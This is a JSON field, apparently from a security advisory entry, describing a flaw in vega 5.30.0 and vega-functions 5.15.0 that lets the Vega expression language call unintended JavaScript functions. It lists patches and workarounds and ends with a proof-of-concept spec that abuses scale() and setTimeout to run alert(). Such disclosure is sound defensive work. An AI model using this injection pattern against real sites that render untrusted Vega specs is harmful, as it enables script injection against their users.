+  "details": "### Impact\n\nIn `vega` 5.30.0 and lower,  `vega-functions` 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.\n\n### Patches\n\nPatched in `vega` `5.31.0`  / `vega-functions` `5.16.0`\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- Run `vega` without `vega.expressionInterpreter`. This mode is not the default as it is slower. \n- Using the interpreter [described in CSP safe mode](https://vega.github.io/vega/usage/interpreter/) (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.\n\n### References\n\n- Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 &  https://github.com/vega/vega/issues/3984\n\nReproduction of the error in Vega by @mattijn \n\n```\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"signals\": [\n    {\n      \"name\": \"inject_alert\",\n      \"on\": [\n        {\n          \"events\": [\n            {\n              \"type\": \"mousedown\",\n              \"marktype\": \"rect\",\n              \"filter\": [\"scale(event.view.setTimeout, 'alert(\\\"alert\\\")')\"]\n            }\n          ],\n          \"update\": \"datum\"\n        }\n      ]\n    }\n  ],\n  \"marks\": [\n    {\n      \"type\": \"rect\",\n      \"encode\": {\n        \"update\": {\n          \"x\": {\"value\": 0},\n          \"y\": {\"value\": 0},\n          \"width\": {\"value\": 100},\n          \"height\": {\"value\": 100}\n        }\n      }\n    }\n  ]\n}\n```",
